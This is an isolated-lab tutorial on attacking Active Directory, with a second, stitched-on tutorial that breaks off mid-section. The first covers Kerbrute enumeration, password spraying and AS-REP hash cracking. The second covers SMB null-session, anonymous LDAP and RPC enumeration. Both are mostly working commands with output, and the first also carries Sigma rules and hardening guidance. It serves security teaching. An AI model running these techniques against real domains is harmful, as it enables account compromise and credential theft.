Build this in isolation. Three machines on a host-only 192.168.56.0/24 network so nothing leaks.
| Component | Spec |
|---|---|
| Domain Controller | Windows Server 2022 Evaluation, domain corplab.local, 192.168.56.10 (hostname DC01) |
| Workstation | Windows 10, domain-joined, 192.168.56.20 |
| Attacker | Kali Linux 2024+, 192.168.56.100 |
| Vulnerable accounts | svc_backup (pre-auth disabled), jsmith (password Summer2024!), plus noise accounts |
| Lockout policy | Threshold 5 attempts (so --safe actually matters) |
After promoting DC01 to a domain controller for corplab.local, create the intentionally weak accounts. Run this in an elevated PowerShell on the DC.
# Create a normal user with a weak, sprayable password
New-ADUser -Name "John Smith" -SamAccountName jsmith `
-UserPrincipalName jsmith@corplab.local `
-AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) `
-Enabled $true
# Create a service account and DISABLE Kerberos pre-authentication on it
New-ADUser -Name "svc_backup" -SamAccountName svc_backup `
-UserPrincipalName svc_backup@corplab.local `
-Path "OU=ServiceAccounts,DC=corplab,DC=local" `
-AccountPassword (ConvertTo-SecureString "Pa55w0rd!" -AsPlainText -Force) `
-Enabled $true
Set-ADAccountControl -Identity svc_backup -DoesNotRequirePreAuth $true
# Seed 10 noise accounts so enumeration has signal and noise
1..10 | ForEach-Object {
New-ADUser -Name "noise$_" -SamAccountName "noise$_" `
-AccountPassword (ConvertTo-SecureString "N0ise$_!extra" -AsPlainText -Force) `
-Enabled $true
}
# (no output on success; verify below)
PS C:\> Get-ADUser svc_backup -Properties DoesNotRequirePreAuth | `
Select Name, DoesNotRequirePreAuth
Name DoesNotRequirePreAuth
---- ---------------------
svc_backup True
Setting DoesNotRequirePreAuth $true flips the DONT_REQ_PREAUTH bit (0x400000) in the account’s userAccountControl attribute. That single bit is what turns svc_backup from a normal account into an AS-REP roasting target. Audit your domain for it any time:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
Select-Object SamAccountName, DoesNotRequirePreAuth
SamAccountName DoesNotRequirePreAuth
-------------- ---------------------
svc_backup True
Finally, set a lockout threshold so the password-spray section teaches real lockout awareness:
Set-ADDefaultDomainPasswordPolicy -Identity corplab.local `
-LockoutThreshold 5 -LockoutDuration 00:15:00 -LockoutObservationWindow 00:15:00
# (no output on success)
4. Kerbrute: Installation, Architecture, and Modes
Kerbrute is a Go tool written by Ronnie Flathers (@ropnop). It drives raw AS-REQ messages through the gokrb5 library, talking directly to the KDC on port 88 instead of routing username checks through slow SMB or LDAP. That direct path is what makes it fast and what keeps it off the NTLM logon-failure radar.
Grab a precompiled binary or build from source:
# Precompiled (fastest path)
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O kerbrute
chmod +x kerbrute
./kerbrute --version
Version: v1.0.3 (9cfb81e) - 06/30/24
# Or build from source if you want to read/modify it
git clone https://github.com/ropnop/kerbrute.git
cd kerbrute
make all
ls dist/
kerbrute_darwin_amd64 kerbrute_linux_386 kerbrute_windows_amd64.exe
kerbrute_linux_amd64 kerbrute_linux_arm64
Kerbrute exposes four sub-commands. Pick the one that matches your stage in the kill chain.
| Sub-command | Purpose | Touches lockout? |
|---|---|---|
userenum | Enumerate valid usernames via AS-REQ error differentials | No |
passwordspray | Test one password against many users | Yes |
bruteuser | Test a wordlist against one user | Yes |
bruteforce | Test user:password combos from a file or stdin | Yes |
Flags you will reach for repeatedly:
| Flag | Purpose |
|---|---|
--dc | Target KDC / domain controller IP |
-d / --domain | Full domain name (corplab.local) |
--hash-file | Save captured AS-REP hashes for pre-auth-disabled accounts |
--downgrade | Force RC4 (arcfour-hmac-md5) encryption downgrade |
--safe | Abort the run if any account is observed as locked |
-t | Thread count (default 10) |
-o | Write valid results to an output file |
One warning that is not optional. userenum is safe against lockout because it validates nothing. passwordspray, bruteuser, and bruteforce submit real pre-auth attempts. Failed pre-auth counts as a failed logon and will lock accounts once you cross the threshold. Treat the active modes as live ammunition.
5. Hands-On: Username Enumeration
Enumeration first: confirm the KDC
Before firing names at it, prove the target is a domain controller exposing Kerberos and learn the domain name from the LDAP banner.
nmap -sV -p 88,389,445 192.168.56.10
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 192.168.56.10
Host is up (0.00042s latency).
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-06-30 18:22:03Z)
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: corplab.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Port 88 open and labelled kerberos-sec, and the LDAP banner leaks Domain: corplab.local. That is everything Kerbrute needs: a --dc and a -d.
Build the candidate wordlist
A good enumeration run is only as good as the names you feed it. Start from SecLists, then layer in organization-specific naming conventions (firstname.lastname, finitial+lastname, and so on) gleaned from OSINT.
cp /usr/share/seclists/Usernames/Names/names.txt ~/lab/names.txt
wc -l ~/lab/names.txt
10177 /usr/share/seclists/Usernames/Names/names.txt
# Generate convention-based candidates: first.last and flast
python3 namegen.py --first first_names.txt --last last_names.txt \
--format '{first}.{last},{f}{last}' > ~/lab/corp_users.txt
wc -l ~/lab/corp_users.txt
1500 /usr/share/seclists/Usernames/Names/names.txt
Run userenum
./kerbrute userenum \
--dc 192.168.56.10 \
-d corplab.local \
-t 50 \
--hash-file asrep_hashes.txt \
-o valid_users.txt \
~/lab/corp_users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9cfb81e) - 06/30/24 - Ronnie Flathers @ropnop
2024/06/30 14:22:01 > Using KDC(s):
2024/06/30 14:22:01 > 192.168.56.10:88
2024/06/30 14:22:01 > [+] svc_backup has no pre auth required. Dumping hash to crack offline:
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...c4d8
2024/06/30 14:22:01 > [+] VALID USERNAME: svc_backup@corplab.local
2024/06/30 14:22:01 > [+] VALID USERNAME: jsmith@corplab.local
2024/06/30 14:22:05 > Done! Tested 1500 usernames (2 valid) in 3.521 seconds
Read that output carefully because it contains two distinct wins.
jsmith came back as a plain VALID USERNAME. Behind the scenes Kerbrute sent an AS-REQ, the KDC replied with 0x19 (PREAUTH_REQUIRED), and Kerbrute translated that into “this account exists.” That goes into valid_users.txt for the spray phase.
svc_backup did something more interesting. The KDC returned a full AS-REP instead of a pre-auth error, because the DONT_REQ_PREAUTH bit is set. Kerbrute recognized the account requires no pre-auth, extracted the encrypted blob, and dumped it as a $krb5asrep$23$ hash to asrep_hashes.txt. You enumerated a username and harvested a crackable credential in the same packet exchange.
Check the artifacts:
cat valid_users.txt && echo "---" && cat asrep_hashes.txt
svc_backup@corplab.local
jsmith@corplab.local
---
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...c4d8
The 23 in the hash is the encryption type: RC4-HMAC (etype 23). That maps directly to a hashcat mode, which we get to shortly.

6. Hands-On: Password Spraying
Enumeration first: know the lockout policy
Spraying blind into an unknown lockout policy is how red teams get fired. Before you submit a single real pre-auth attempt, learn the threshold. With no credentials you can sometimes read the policy via null/guest SMB; in this lab assume you confirmed a threshold of 5.
The math is simple and unforgiving. With a threshold of 5 and a 15-minute observation window, you get at most a handful of attempts per account before lockout. One password tested across the whole user list is one failed attempt per account, which is safe. Two passwords in quick succession is two. Never let your spray cadence approach the threshold inside the observation window.
Run passwordspray with a safety net
Use only the confirmed usernames from valid_users.txt, not the raw wordlist, and add --safe so the run aborts the instant any account is observed locked.
./kerbrute passwordspray \
--dc 192.168.56.10 \
-d corplab.local \
--safe \
valid_users.txt \
'Summer2024!'
2024/06/30 14:30:01 > Using KDC(s):
2024/06/30 14:30:01 > 192.168.56.10:88
2024/06/30 14:30:01 > [+] VALID LOGIN: jsmith@corplab.local:Summer2024!
2024/06/30 14:30:03 > Done! Tested 2 logins (1 successes) in 1.992 seconds
jsmith:Summer2024! is now a confirmed credential. Here the spray submitted a real PA-ENC-TIMESTAMP. For jsmith the KDC decrypted it successfully and issued a TGT, which Kerbrute reports as VALID LOGIN. For svc_backup the wrong password would have produced 0x18 (PREAUTH_FAILED) and incremented badPwdCount. That distinction is exactly what a defender hunts for, and we will weaponize it in detection.
7. Captured Hash Cracking: The AS-REP Roasting Pivot
The svc_backup hash from section 5 needs no spraying. It is an AS-REP blob encrypted with the account’s RC4 key, and you crack it offline with zero further interaction with the domain. This is AS-REP roasting, and DONT_REQ_PREAUTH is the precondition that made it possible.
Inspect the captured hash format first:
head -c 120 asrep_hashes.txt; echo
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...
The $krb5asrep$23$ prefix is hashcat mode 18200 (Kerberos 5 AS-REP, etype 23). Throw a wordlist at it.
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -O
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...c4d8:Pa55w0rd!
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9...c4d8
Time.Started.....: Sun Jun 30 14:35:12 2024 (4 secs)
Recovered........: 1/1 (100.00%) Digests
Speed.#1.........: 1843.2 MH/s (5.21ms)
John the Ripper works equally well:
john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD5 HMAC-SHA1 ...])
Pa55w0rd! ($krb5asrep$svc_backup@CORPLAB.LOCAL)
1g 0:00:00:02 DONE (2024-06-30 14:36) 0.4761g/s ...
Use the "--show" option to display all of the cracked passwords reliably
svc_backup:Pa55w0rd! recovered. The lesson the brief hammers, and the reason hardening matters: if svc_backup had used a genuinely strong password, this RC4 blob would be effectively uncrackable by wordlist. Disabling pre-auth is dangerous, but a long random password makes the resulting hash worthless to an attacker.
Validate and pivot
Confirm the harvested credential works over SMB before building anything on it. NetExec (the maintained successor to CrackMapExec) is the cleanest check.
nxc smb 192.168.56.10 -u jsmith -p 'Summer2024!' -d corplab.local
SMB 192.168.56.10 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:corplab.local) (signing:True) (SMBv1:False)
SMB 192.168.56.10 445 DC01 [+] corplab.local\jsmith:Summer2024!
The [+] confirms a valid authenticated session. Now you have an authenticated foothold, which unlocks full directory enumeration. Feed it straight into BloodHound to map attack paths.
bloodhound-python -u jsmith -p 'Summer2024!' -d corplab.local \
-dc 192.168.56.10 -c All
INFO: Found AD domain: corplab.local
INFO: Connecting to LDAP server: DC01.corplab.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 14 computers
INFO: Connecting to GC LDAP server: DC01.corplab.local
INFO: Found 28 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Dumping data for domain corplab.local
INFO: Done in 00M 12S
You walked from zero credentials to a validated account, a cracked service hash, and a full graph of the domain. That is the entire point of starting with enumeration: every confirmed username compounds.

8. Traffic Analysis
Understanding what Kerbrute puts on the wire makes both red-team OPSEC and blue-team detection concrete. Capture port 88 while a userenum run is live.
sudo tcpdump -i eth0 -w kerb_enum.pcap 'udp port 88 or tcp port 88'
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
^C
2143 packets captured
2151 packets received by filter
Open the capture in Wireshark and isolate the KDC error responses. A Kerberos error message is msg_type 30 (KRB-ERROR), and the error_code field is the oracle.
# Wireshark display filter: all PRINCIPAL_UNKNOWN responses (invalid users)
kerberos.msg_type == 30 && kerberos.error_code == 6
A burst of error_code == 6 (KDC_ERR_C_PRINCIPAL_UNKNOWN) from one source IP, hundreds per second, is the unmistakable signature of username enumeration. Switch the filter to spot the valid hits:
# Valid accounts that required pre-auth (the 0x19 responses)
kerberos.msg_type == 30 && kerberos.error_code == 25
# Pre-auth-disabled accounts: a full AS-REP instead of an error
kerberos.msg_type == 11
msg_type 11 is AS-REP. Seeing a real AS-REP returned to an unauthenticated requester means an account with pre-auth disabled just leaked a roastable hash. On a Zeek sensor the same signal lives in kerberos.log, where error_msg == "PRINCIPAL_UNKNOWN" at high rate from one id.orig_h is the detection trigger.
9. Common Attacker Techniques
| Technique | Description |
|---|---|
| AS-REQ username enumeration | Differentiate 0x6 vs 0x19 to validate accounts with no credentials and no lockout risk |
| AS-REP hash harvesting | Capture full AS-REP for DONT_REQ_PREAUTH accounts during enumeration, crack offline |
| AS-REP roasting | Use harvested $krb5asrep$23$ hashes with hashcat mode 18200 or John |
| Kerberos password spraying | Submit one common password across the confirmed user list via passwordspray |
| Encryption downgrade | Force RC4 with --downgrade so captured material uses the faster-cracking etype 23 |
| Pivot to Kerberoasting | Once authenticated, request service tickets for SPN accounts and crack those offline |
The chain is what makes this dangerous, not any single step. Enumeration feeds spraying and roasting, which feed an authenticated foothold, which feeds BloodHound and Kerberoasting. Each link is cheap and quiet on its own.
10. Defensive Strategies and Detection
Detection here is entirely about the domain controller, because the attack never touches an endpoint until the pivot. The good news is the DC sees every AS-REQ. The catch is that the most useful event is off by default.
Relevant Event IDs (on the Domain Controller)
| Event ID | Trigger | Relevance |
|---|---|---|
4768 | TGT requested or granted (AS exchange) | Fires on AS-REQ; watch a single source requesting TGTs for many distinct or non-existent users |
4771 | Kerberos pre-authentication failed | Carries the failure code, target username, client IP; the primary enumeration and spray signal |
4625 | Generic NTLM logon failure | Does not fire for Kerberos enumeration; do not rely on it here |
Event 4771 is disabled by default. Without it you are blind to the enumeration. Enable it through Group Policy:
Computer Configuration
-> Windows Settings
-> Security Settings
-> Advanced Audit Policy Configuration
-> Account Logon
-> Audit Kerberos Authentication Service: Success and Failure
Failure-code correlation
The Failure Code field in Event 4771 is the same oracle the attacker reads, only from the defender’s side:
- A cluster of
0x6(KDC_ERR_C_PRINCIPAL_UNKNOWN) from one source IP in a short window is username enumeration. Real users do not generatePRINCIPAL_UNKNOWNstorms. - A cluster of
0x18(KDC_ERR_PREAUTH_FAILED) across many distinctTargetUserNamevalues from one source is password spraying.
Sigma rule
title: Kerberos Username Enumeration via AS-REQ
status: experimental
logsource:
product: windows
service: security
detection:
selection:
EventID: 4771
FailureCode: '0x6' # KDC_ERR_C_PRINCIPAL_UNKNOWN
timeframe: 30s
condition: selection | count() by IpAddress > 20
fields:
- EventID
- TargetUserName
- IpAddress
- IpPort
- FailureCode
- PreAuthType
falsepositives:
- Misconfigured applications cycling usernames
level: medium
tags:
- attack.discovery
- attack.t1087.002
Pair it with a second rule keyed on FailureCode: '0x18' grouped by distinct TargetUserName per source IP to catch the spray phase.
Endpoint and network telemetry
There is no direct Kerberos AS-REQ event in Sysmon because the protocol is network-level. You can still catch the tool with Sysmon Event ID 3 (Network Connection) when a non-DC host opens connections to port 88 from an unexpected process. On the network side, a Zeek sensor alerting on kerberos.log where error_msg == "PRINCIPAL_UNKNOWN" exceeds a per-source rate threshold gives you protocol-level coverage independent of Windows auditing. The underlying ETW provider for 4768/4771 is Microsoft-Windows-Security-Auditing.
Hardening
| Mitigation | Description |
|---|---|
| Enable pre-auth everywhere | Clear DONT_REQ_PREAUTH on all accounts; audit with Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
| Enable Kerberos auditing | Turn on Audit Kerberos Authentication Service (Success + Failure) to generate 4771 |
| Rate-limit port 88 | Segment and rate-limit KDC ports (around 10 requests/sec/source) at the firewall |
| Deploy canary accounts | Any AS-REQ for a never-used honeypot username is a high-fidelity alert |
| Enforce strong passwords | Long random passwords make harvested AS-REP and Kerberoast hashes practically uncrackable |
| SIEM correlation | Alert on >20 0x6 failures per source in 30s, and on 0x18 across many users per source |
The single most important fix is closing the DONT_REQ_PREAUTH gap, because that is what converts harmless enumeration into a crackable credential. Pre-auth has been the default since Kerberos v5; any account missing it is a deliberate or accidental misconfiguration.

11. Tools for Kerberos Attack Analysis
| Tool | Description | Link |
|---|---|---|
| Kerbrute | AS-REQ username enumeration, spray, brute via gokrb5 | github.com/ropnop/kerbrute |
| NetExec | Validate credentials and enumerate SMB/LDAP | github.com/Pennyw0rth/NetExec |
| Hashcat | Crack AS-REP hashes with mode 18200 | hashcat.net |
| John the Ripper | Crack krb5asrep hashes | openwall.com/john |
| BloodHound | Map AD attack paths post-foothold | bloodhound.specterops.io |
| Wireshark | Dissect AS-REQ/AS-REP and KDC error codes | wireshark.org |
| Zeek | Network-level Kerberos logging (kerberos.log) | zeek.org |
| nmap | Confirm KDC, port 88, domain banner | nmap.org |
12. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Account Discovery: Domain Account | T1087.002 | Event 4771 0x6 clusters per source IP; Zeek PRINCIPAL_UNKNOWN rate |
| Brute Force: Password Spraying | T1110.003 | Event 4771 0x18 across many users from one source |
| Brute Force: Password Guessing | T1110.001 | Repeated 0x18 against a single account; rising badPwdCount |
| Steal or Forge Kerberos Tickets: AS-REP Roasting | T1558.004 | AS-REP (msg_type 11) returned to unauthenticated client; audit DONT_REQ_PREAUTH |
| Steal or Forge Kerberos Tickets: Kerberoasting | T1558.003 | Spike in 4769 TGS requests for RC4 service tickets post-foothold |
Summary
- Kerberos pre-authentication is an account-existence oracle: the KDC answers
0x6for unknown users and0x19for valid ones, so anyone who can reach port 88 can enumerate the domain with no credentials. userenumdoes not validate credentials, so it never incrementsbadPwdCountand never locks accounts, and it bypasses Event4625entirely.- Accounts with the
DONT_REQ_PREAUTHbit (0x400000) return a full AS-REP during enumeration, handing the attacker a$krb5asrep$23$hash to crack offline with hashcat mode18200. - The active modes (
passwordspray,bruteuser,bruteforce) submit real pre-auth attempts and will lock accounts; use--safeand respect the lockout threshold. - Detect it on the DC with Event
4771(enable it first via Advanced Audit Policy), correlating0x6bursts for enumeration and0x18spreads for spraying, and shut the door by clearingDONT_REQ_PREAUTHand enforcing strong passwords.
Related Tutorials
References
Anonymous and Null-Session Enumeration: SMB, LDAP Anonymous Binds, and RID Cycling
You drop onto an internal subnet with a laptop, a network jack, and zero credentials. No phished password, no hash, nothing. Most beginners assume the engagement stalls right there. It doesn’t. A surprising number of domains will happily hand you their full user roster, group memberships, password policy, and share layout before you ever type a username. This is the quiet first move of nearly every internal assessment, and it leans on three primitives that have shipped with Windows since the NT days.
Objective: Understand precisely why SMB null sessions, LDAP anonymous binds, and RID cycling exist; how they chain together to turn zero credentials into a validated domain username list; how to reproduce all three against a controlled lab DC; and how a defender detects and eliminates every step.
1. Background: Why Unauthenticated Enumeration Still Works
Windows NT 4.0 and Windows 2000 were built on an assumption that internal networks were trusted. To let machines coordinate without a user logged in, the OS exposed an unauthenticated channel: the null session. A null session is an SMB connection to the hidden IPC$ share carrying empty credentials. Over that channel, services queried each other through MSRPC named pipes: who’s in this group, what’s the password policy, which shares exist. It was convenient and, for the threat model of 1999, acceptable.
It is not acceptable now, and Microsoft knows it. Windows Server 2003 changed LDAP so only authenticated users could issue directory requests. Server 2016 and later restrict null sessions out of the box. So why does this tutorial still matter? Because domains are upgraded, not rebuilt. A forest that started life on Server 2003 carries its legacy settings forward through every in-place upgrade. Add a vendor appliance that “requires anonymous LDAP,” a backup product that wants null-session share access, or an admin who flipped RestrictAnonymous to fix a printer in 2011 and never reverted it, and the old behavior is right back.
The intelligence you harvest from these channels is exactly what the next phase of an attack needs:
| Harvested Data | What It Enables |
|---|---|
| Domain SID and domain name | RID cycling, SID history forgery groundwork |
| Full username list | Password spraying, AS-REP roasting |
| Group membership | Identifying Domain Admins, service-account owners |
| Password policy (lockout threshold, min length) | Spray rate that avoids lockout |
description fields | Plaintext passwords and hints admins leave behind |
| Share list | Loot hunting, GPP cpassword files |
Enumeration is not a footnote before the “real” attack. It is the attack surface, and it shapes every decision that follows.
2. Lab Setup: Intentionally Vulnerable AD Target
Build this in isolated lab networking (host-only or an internal vSwitch). Never apply these settings to a domain that touches anything real.
Topology:
| Host | Role | Address |
|---|---|---|
DC01 | Windows Server 2022, domain lab.local | 10.10.10.10 |
kali | Kali Linux 2024.x attacker | 10.10.10.50 |
Promote DC01 to a domain controller for lab.local, then deliberately re-enable the legacy behavior. Run this in an elevated PowerShell on the DC:
# Re-open anonymous access (DO NOT do this outside a lab)
$lsa = 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa'
Set-ItemProperty -Path $lsa -Name RestrictAnonymous -Value 0 -Type DWord
Set-ItemProperty -Path $lsa -Name RestrictAnonymousSAM -Value 0 -Type DWord
Set-ItemProperty -Path $lsa -Name EveryoneIncludesAnonymous -Value 1 -Type DWord
# Allow anonymous SID/Name translation (needed for RID cycling)
# GPO: Network access: Allow anonymous SID/Name translation -> Enabled
# (no output on success; verify with)
PS C:\> Get-ItemProperty $lsa | Select RestrictAnonymous,RestrictAnonymousSAM,EveryoneIncludesAnonymous
RestrictAnonymous RestrictAnonymousSAM EveryoneIncludesAnonymous
----------------- -------------------- -------------------------
0 0 1
Enable LDAP anonymous bind by setting the 7th character of dsHeuristics to 2. Use ldifde from an elevated prompt on the DC:
# anonymousenum.ldf — set dsHeuristics char 7 to 2 (0000002 = positions 1-7)
@"
dn: CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=lab,DC=local
changetype: modify
replace: dsHeuristics
dsHeuristics: 0000002
-
"@ | Out-File anonymousenum.ldf -Encoding ascii
ldifde -i -f anonymousenum.ldf
Connecting to "DC01.lab.local"
Logging in as current user using SSPI
Importing directory from file "anonymousenum.ldf"
Loading entries.
1 entry modified successfully.
The command has completed successfully
Finally, populate the domain so enumeration returns something interesting: ten-plus users, groups for IT, HR, and Service Accounts, and at least one service account whose description holds a password hint. That last detail is not contrived; it is one of the most common real-world findings.
New-ADUser -Name "svc_sql" -SamAccountName svc_sql -Enabled $true `
-AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) `
-Description "SQL service acct - temp pw Summer2024! rotate by Q3" `
-Path "OU=ServiceAccounts,DC=lab,DC=local"
3. The IPC$ Named Pipe and SMB Null Session Internals
To exploit a null session you should understand what actually happens on the wire. SMB connection setup is a negotiation followed by a session setup followed by a tree connect.
- Negotiate Protocol – client and server agree on a dialect (SMB2/3).
- Session Setup – the client authenticates. In a null session, the client sends a
SESSION_SETUPwith an anonymous NTLMSSP token, no username, no password. The server issues an access token tied to theANONYMOUS LOGONSID (S-1-5-7). - Tree Connect – the client connects to a share. For a null session that share is
IPC$.
IPC$ is special. It is not a disk share. It is the named-pipe filesystem, the doorway to MSRPC. Once connected to IPC$, a client opens a named pipe such as \PIPE\samr and binds to the RPC interface behind it. Each pipe fronts a different protocol:
| Named Pipe | Protocol | Key Calls Used in This Tutorial |
|---|---|---|
\PIPE\samr | MS-SAMR | SamrEnumerateDomainsInSamServer, SamrEnumerateUsersInDomain, SamrLookupIdsInDomain, SamrRidToSid |
\PIPE\lsarpc | MS-LSAD | LsarQueryInformationPolicy, LsarLookupSids |
\PIPE\srvsvc | MS-SRVS | NetShareEnum |
When you run rpcclient enumdomusers, the client opens \PIPE\samr, calls SamrConnect, then SamrEnumerateDomainsInSamServer, SamrLookupDomainInSamServer, SamrOpenDomain, and finally SamrEnumerateUsersInDomain. The whole exchange happens with the anonymous token. Whether the server fulfills it depends entirely on the registry gates:
| Registry Value | Effect |
|---|---|
RestrictAnonymous = 0 | Open; full anonymous enumeration |
RestrictAnonymous = 1 | Blocks most named enumeration, but some Win32 APIs still leak |
RestrictAnonymous = 2 | Denies all anonymous IPC$ access (can break legacy apps) |
RestrictAnonymousSAM = 1 | Specifically blocks anonymous SAM enumeration |
EveryoneIncludesAnonymous = 1 | Anonymous token inherits Everyone-group access |
NullSessionPipes / NullSessionShares | Explicit allow-lists that punch holes through restrictions |
The critical takeaway: RestrictAnonymous=1 is not a complete fix. Even with it set, the SID/Name translation path (LsarLookupSids over \PIPE\lsarpc) can stay open if “Allow anonymous SID/Name translation” is enabled, which is exactly what makes RID cycling survive partial hardening.

4. Recon: Confirming the Attack Surface
Before touching any enumeration tooling, confirm which doors are even open. A port scan tells you whether SMB and LDAP are reachable.
nmap -sV -p 139,445,389,636,3268,3269 10.10.10.10
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.10.10.10
Host is up (0.0011s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: lab.local)
445/tcp open microsoft-ds?
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: lab.local)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: lab.local)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: lab.local)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Ports 445 and 389 open on a host advertising Domain: lab.local says “domain controller.” Now confirm the null session actually works. NetExec (the maintained fork of CrackMapExec, invoked as nxc) is the fastest check.
nxc smb 10.10.10.10 -u '' -p ''
SMB 10.10.10.10 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:lab.local) (signing:True) (SMBv1:False)
SMB 10.10.10.10 445 DC01 [+] lab.local\: (Guest)
That [+] with an empty username is the green light: the server accepted an anonymous SMB session. Now test LDAP anonymous bind by reading the rootDSE, the one entry every DC exposes to anyone.
ldapsearch -x -H ldap://10.10.10.10 -b "" -s base "(objectClass=*)" \
defaultNamingContext domainFunctionality dnsHostName ldapServiceName
# extended LDIF
dn:
defaultNamingContext: DC=lab,DC=local
dnsHostName: DC01.lab.local
ldapServiceName: lab.local:dc01$@LAB.LOCAL
domainFunctionality: 7
# search result
search: 2
result: 0 Success
-x forces simple authentication, and with no -D (bind DN) and no password it is an anonymous bind. Getting result: 0 Success and real attributes back means anonymous LDAP is wide open. The defaultNamingContext value, DC=lab,DC=local, is the base DN you will feed into every subsequent search. Reading rootDSE works even on hardened DCs, so it alone does not prove a misconfiguration; the next section’s user queries are the real proof.
5. Hands-On: SMB Null Session Enumeration
Start with shares. smbclient -L lists them over the null session (-N = no password, -U "" = empty user).
smbclient -N -U "" -L //10.10.10.10
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Backups Disk Nightly SQL exports
SMB1 disabled -- no workgroup available
A non-default share like Backups is worth a look later. For now, the prize is the RPC enumeration. Drop into an interactive rpcclient session over the null session and walk the SAMR and LSARPC calls by hand.
rpcclient -N -U "" 10.10.10.10
rpcclient $> lsaquery
Domain Name: LAB
Domain Sid: S-1-5-21-1004336348-1177238915-682003330
lsaquery issues LsarQueryInformationPolicy(PolicyAccountDomainInformation) over \PIPE\lsarpc. That domain SID, S-1-5-21-1004336348-1177238915-682003330, is the most valuable single string you will collect today. Hold onto it for Phase 4. Keep enumerating in the same session:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[jsmith] rid:[0x44f]
user:[asmith] rid:[0x450]
user:[bwilliams] rid:[0x451]
user:[svc_sql] rid:[0x452]
user:[svc_backup] rid:[0x453]
user:[mjohnson] rid:[0x454]
user:[rpatel] rid:[0x455]
user:[lchen] rid:[0x456]
user:[helpdesk] rid:[0x457]
enumdomusers runs SamrEnumerateUsersInDomain. RIDs are shown in hex: 0x1f4 = 500 (Administrator), 0x1f6 = 502 (krbtgt), and the first real user jsmith is 0x44f = 1103. Continue with groups and policy:
rpcclient $> enumdomgroups
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[IT] rid:[0x458]
group:[HR] rid:[0x459]
group:[Service Accounts] rid:[0x45a]
rpcclient $> getdompwinfo
min_password_length: 7
password_properties: 0x00000001
DOMAIN_PASSWORD_COMPLEX
getdompwinfo returns the password policy through SAMR. A minimum length of 7 with complexity on tells a sprayer that Welcome1 or Summer2024! are policy-valid guesses. Now the shares via \PIPE\srvsvc:
rpcclient $> netshareenum
netname: ADMIN$
remark: Remote Admin
netname: Backups
remark: Nightly SQL exports
netname: IPC$
remark: Remote IPC
netname: NETLOGON
remark: Logon server share
netname: SYSVOL
remark: Logon server share
Doing this by hand teaches the protocol; doing it at scale calls for automation. enum4linux-ng orchestrates every one of these RPC calls and parses the output.
enum4linux-ng -A 10.10.10.10
====================================
| Domain Information via RPC |
====================================
[+] Domain: LAB
[+] SID: S-1-5-21-1004336348-1177238915-682003330
[+] Host is part of a domain (not a workgroup)
====================================
| Users via RPC on 10.10.10.10 |
====================================
[+] Found 12 user(s) via 'enumdomusers'
'1103': {'username': 'jsmith', 'description': ''}
'1106': {'username': 'svc_sql', 'description': 'SQL service acct - temp pw Summer2024! rotate by Q3'}
'1107': {'username': 'svc_backup', 'description': 'backup runner'}
...
====================================
| Password Policy via RPC |
====================================
[+] Minimum password length: 7
[+] Password complexity: Enabled
[+] Lockout threshold: 5
[+] Lockout duration: 30 minutes
There it is: svc_sql with temp pw Summer2024! sitting in its description, plus the lockout threshold (5) that bounds any spray. NetExec covers the same ground with module flags, which is handy for piping into other tooling:
nxc smb 10.10.10.10 -u '' -p '' --users
SMB 10.10.10.10 445 DC01 [+] lab.local\: (Guest)
